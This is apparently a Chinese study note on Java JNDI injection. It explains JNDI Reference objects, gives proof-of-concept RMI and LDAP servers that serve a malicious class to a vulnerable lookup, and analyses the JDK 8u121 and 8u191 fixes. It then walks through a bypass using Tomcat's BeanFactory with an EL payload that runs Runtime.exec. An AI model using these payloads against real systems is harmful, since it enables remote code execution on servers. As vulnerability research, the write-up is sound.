java安全-JNDI注入
java安全-JNDI注入
一、JNDI引用类型
1.实现
传统方式实现JNDI会有很多局限

所以就出现了引用对象
一个 javax.naming.Reference 对象其实非常简单,它本质上是一个数据载体,里面主要装着 4 样东西:
className(目标类名): 最终要创建出来的那个对象的全限定类名(比如com.zaxxer.hikari.HikariDataSource)RefAddr(地址/参数集合): 创建这个对象所需要的配方和参数。比如数据库的 URL、用户名、密码等factoryClassName(对象工厂类名): 谁负责来把这个对象造出来?这是最核心的一点。JNDI 会去调用这个工厂类(实现ObjectFactory接口的类)的getObjectInstance方法factoryClassLocation(工厂类的位置): 如果本地没有这个工厂类,去哪里下载?(**注意:这通常是一个远程的 HTTP 或 FTP 地址)
1 | public class Reference implements Cloneable, java.io.Serializable { |
2.具体逻辑
对于调用 lookup("jdbc/MyDB") 的普通开发者来说,这一切都是透明的。他以为自己直接拿到了连接池,但实际上底层发生了一场偷梁换柱:
- 客户端查找: 客户端代码调用
Context.lookup("jdbc/MyDB") - 返回图纸: JNDI 底层向目录服务器(如 LDAP/RMI)请求,目录服务器发现绑定的不是真实对象,而是一个
Reference对象,于是把这个Reference返回给 JNDI - 转交工厂: JNDI 核心层(
NamingManager)拿到Reference后,一看,“哦,这不是真实对象,是个引用”。它会提取出里面的factoryClassName(对象工厂) - 本地/远程加载: JVM 会先在本地 Classpath 找这个工厂类。如果找不到,它会根据
factoryClassLocation提供的 URL 去远程服务器下载这个类的.class文件并加载 - 实例化并返回: JNDI 实例化这个工厂类,把参数(
RefAddr)喂给它,工厂类大喊一声new,创建出了真正的 DataSource 对象。JNDI 最后把这个真正的对象交到了你的代码手里
二、JNDI注入
1.poc实现
恶意服务端
src/main/java/chuan/rmi/RMIServer.java
1 | public class RMIServer { |
rmi服务什么都不做,只是提供一个可绑定服务
chuan/rmi/JNDIRMIServer.java
1 | public class JNDIRMIServer { |
本地使用python3 -m http.server 7777服务开启一个网络请求,目录下放置chuan.class恶意类
被攻击客户端
1 | public class JNDIRMIClient { |
客户端只是发起了请求,就会直接攻击
也就是如果被攻击服务器可以控制lookup参数,便可以直接攻击
2.底层逻辑
2.1、服务端
1 | Reference refObj = new Reference("chuan", "chuan", "http://localhost:7777/"); |
绑定这里
javax/naming/InitialContext.java
D:\security\JDKs-cyber\oracle_JDKs\JDK8u65\jre\lib\rt.jar!\com\sun\jndi\toolkit\url\GenericURLContext.class
D:\security\JDKs-cyber\oracle_JDKs\JDK8u65\jre\lib\rt.jar!\com\sun\jndi\rmi\registry\RegistryContext.class
这里绑定仍然使用的是 RegistryImpl_Stub.class ,只不过绑定时,映射对象经历了一次加密过程
1 | 这个过程其实是把 Reference 对象包装成 ReferenceWrapper,因为 Reference 本身没有实现 Remote 接口,不能直接被 RMI 传输,所以需要用 ReferenceWrapper 来包一层,它实现了 Remote 接口,才能被 RMI 序列化传输出去 |
2.2、客户端
1 | RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj1"); |
javax/naming/InitialContext.java
D:\security\JDKs-cyber\oracle_JDKs\JDK8u65\jre\lib\rt.jar!\com\sun\jndi\toolkit\url\GenericURLContext.class
D:\security\JDKs-cyber\oracle_JDKs\JDK8u65\jre\lib\rt.jar!\com\sun\jndi\rmi\registry\RegistryContext.class
图中 VAR2 的赋值就是通过向 rmi 服务器调用 invoke 方法去获取一个 var1 也就是remote1 的对象
可以看到返回为一个引用类型为 ReferenceWrapper_Stub 的引用对象
也就是我们之前在服务端创建的
获取引用对象下一步之后,就是利用相同逻辑反处理客户端加密的类
D:\security\JDKs-cyber\oracle_JDKs\JDK8u65\jre\lib\rt.jar!\com\sun\jndi\rmi\registry\RegistryContext.class

javax/naming/spi/NamingManager.java
而且这个类算是一个通用的类,所以在其他的 JNDI 服务中也可能会出问题
接着查看最重要的一环

第一点,直接加载类名
factoryName传参chuan
类加载器,直接就是
APPClassLoader1
2
3先从本地 ClassPath 找 chuan 这个类
如果本地有 → 直接用,不去远程下载
如果本地没有 → 进入第二步第二点,使用 codebase 传参然后加载
**接着进入到这里,会创建一个 URLClassLoader **
接着 loadClass
这一步就会直接调用静态代码块
接着第三点,进行类的实例化

这一步会调用构造方法
3.总结
服务端
1 | InitialContext.bind() |
客户端
1 | InitialContext.lookup() |
三、高版本绕过-8u121
1.jdk8u121修复点
1.1、版本问题
JDK 8u121 的核心修复点(针对 JNDI)是:默认禁用通过 RMI Registry / COS Naming 的 JNDI 远程 class loading(URL codebase)
以及 7u131、6u141版本

1.1、具体逻辑
引入了一个系统属性
1 | com.sun.jndi.rmi.object.trustURLCodebase |
8u121 之前:默认 true,信任远程 codebase,可以随意加载
8u121 之后:默认改为 false,不再信任远程 codebase
具体函数逻辑如下
也就变成了这个报错,不会在加载恶意类
2.绕过
2.1、poc
之前提到ladp也可以作为一种JNDI服务,而且代码恶意逻辑是公用的,这里只是禁用了俩种,所以直接使用ladp服务,如入无人之境
这里我们使用java创建ladp的服务端
恶意ladp服务端
chuan/rmi/JNDILDAPServer.java
1 | public class JNDILDAPServer { |
绑定
chuan/rmi/JNDILDAPBind.java
1 | public class JNDILDAPBind { |
客户端
chuan/rmi/JNDIRMIClient.java
1 | public class JNDIRMIClient { |
2.2、底层实现
1 | RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://127.0.0.1:1389/cn=remoteObj1,dc=example,dc=com"); |
javax/naming/InitialContext.java
1 | public Object lookup(String name) throws NamingException { |
这一段依旧是判断分别,是哪一个服务
D:\security\JDKs-cyber\oracle_JDKs\JDK8u121\jre\lib\rt.jar!\com\sun\jndi\url\ldap\ldapURLContext.class
1 | public Object lookup(String var1) throws NamingException { |
D:\security\JDKs-cyber\oracle_JDKs\JDK8u121\jre\lib\rt.jar!\com\sun\jndi\toolkit\url\GenericURLContext.class
1 |
|
D:\security\JDKs-cyber\oracle_JDKs\JDK8u121\jre\lib\rt.jar!\com\sun\jndi\toolkit\ctx\PartialCompositeContext.class
1 | public Object lookup(Name var1) throws NamingException { |
D:\security\JDKs-cyber\oracle_JDKs\JDK8u121\jre\lib\rt.jar!\com\sun\jndi\toolkit\ctx\ComponentContext.class
1 | protected Object p_lookup(Name var1, Continuation var2) throws NamingException { |
这里就是重要逻辑
D:\security\JDKs-cyber\oracle_JDKs\JDK8u121\jre\lib\rt.jar!\com\sun\jndi\ldap\LdapCtx.class
这个var4应该是attr,这个是从ladp上获取的属性
D:\security\JDKs-cyber\oracle_JDKs\JDK8u121\jre\lib\rt.jar!\com\sun\jndi\ldap\Obj.class
D:\security\JDKs-cyber\oracle_JDKs\JDK8u121\jre\lib\rt.jar!\com\sun\jndi\ldap\Obj.class方法详解
**然后回到 LdapCtx **
javax/naming/spi/DirectoryManager.java
这个工具类继承了NamingManager也就是rmi解析时用到的类

因为子类没有这个方法,又回去调用父类也就是NamingManager.java中的
在jdk8u191此漏洞确定被修复
四、高版本绕过-8u191
环境
1 | openjdk |
1.jdk8u191修复点

JDK 8u191 的关键点不是第一次“提出限制”,而是把 LDAP 这条 JNDI 远程 codebase 加载限制真正收紧并默认关掉(com.sun.jndi.ldap.object.trustURLCodebase=false),并在类加载实现处做了显式判断,不再无条件创建 URLClassLoader 去加载远程类
源码修复在下面
LdapCtx这个是当初后面解密时用到的,这里进入到包装工具类
D:\security\JDKs-cyber\oracle_JDKs\JDK8u191\jre\lib\rt.jar!\com\sun\jndi\ldap\LdapCtx.class

javax/naming/spi/DirectoryManager.java

getObjectInstance这个方法会调用父类NamingManager#getObjectFactoryFromReference
javax/naming/spi/NamingManager.java
接着会进行类加载,依旧是先本地后远程
com/sun/naming/internal/VersionHelper12.java

自此,jdk191之后,jndi注入完结!
1 | 客户端 lookup("ldap://...") |
2.绕过
2.1、主要逻辑
既然限制了远程的危险类加载,于是我们尝试寻找一些本地的危险类
1 | 所以攻击者的目标变成了:找一个本地已有的类,它实现了 ObjectFactory,并且 getObjectInstance() 方法里有可以被利用的逻辑。 |
即org/apache/naming/factory/BeanFactory.java

这个是tomcat中一个核心类,在常见springboot服务中可以直接调用
而且
在 Tomcat 的 EL(表达式语言)依赖库中,恰好有一个类叫 javax.el.ELProcessor。 它有一个方法叫 eval(String expression),可以直接解析并执行一段 EL 表达式代码,而 EL 表达式是具备执行任意 Java 代码能力的!
于是构造如下服务端,让其想 rmi 服务中注册恶意引用,然后客户端调用时,直接爆炸
1 | public class JNDIRMIServer { |
1 | String elPayload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + |

2.2、底层实现


五、总结
一、 起:JNDI 的本质与精妙设计
- 核心定位: JNDI 是一个“智能路由器”和“大管家”。它的初衷是为了解耦,让 Java 应用能通过一个标准名称(Name)去外部(LDAP、RMI 目录)寻找并使用资源(如数据库连接池)
- 底层架构: 分为 API(开发者用)和 SPI(底层协议实现,如
rmi://自动切 RMI,ldap://自动切 LDAP) - 伟大的发明——引用对象 (Reference): 因为很多底层资源(如连接池)无法直接序列化传输,JNDI 发明了 Reference。它不传对象本身,只传**“图纸”**(
className、factoryClassName、factoryClassLocation),让客户端拿到图纸后在本地自己造对象
二、 承:潘多拉魔盒的打开 (传统 JNDI 注入)
- 万恶之源:
NamingManager.getObjectInstance()。当客户端去lookup一个恶意的 Reference 时,底层会根据图纸里的factoryClassLocation去远程 HTTP 服务器下载未知的.class文件 - 致命打击: JVM 只要一实例化这个远程下载来的工厂类(调用
newInstance()),就会触发类里面的静态代码块或构造方法,直接导致 RCE(远程代码执行),你的电脑就会被弹计算器
三、 转:Oracle 的围追堵截 (补丁演进与协议差异)
- JDK 8u121 (RMI 封杀): 官方醒悟,把
trustURLCodebase默认设为false,强行禁止了 RMI 协议去远程下载工厂类 - LDAP 的狂欢: 因为官方忘了补 LDAP 的漏,导致黑客把前缀换成
ldap://继续横行霸道。且 LDAP 的bind和 RMI 不同,RMI 绑定是“活体对象驻留”(一直占着 1099 端口),LDAP 绑定是“数据入库”(一秒搞定退出),更适合黑客伪造 - JDK 8u191 (全面封杀): 官方终于把 LDAP 的远程下载开关也关上了,JNDI 注入的“外挂图纸”时代宣告终结
四、 合:绝地反击的黑魔法 (本地 Factory 绕过)
核心思想: 既然不让从外面带杀手进来,那就找本地 Classpath 里的“内鬼”
完美内鬼: Tomcat 自带的
org.apache.naming.factory.BeanFactory攻击链条: 1. 构造一个恶意的
ResourceRef,不填远程地址(绕过 8u191 拦截)利用 BeanFactory 的
forceString危险特性,强行扭曲赋值逻辑把恶意字符串(EL 表达式,如
"Runtime.getRuntime().exec('calc')"或更高级的 JS 引擎桥接代码)强塞给javax.el.ELProcessor的eval方法去执行达成纯本地依赖环境下的完美 RCE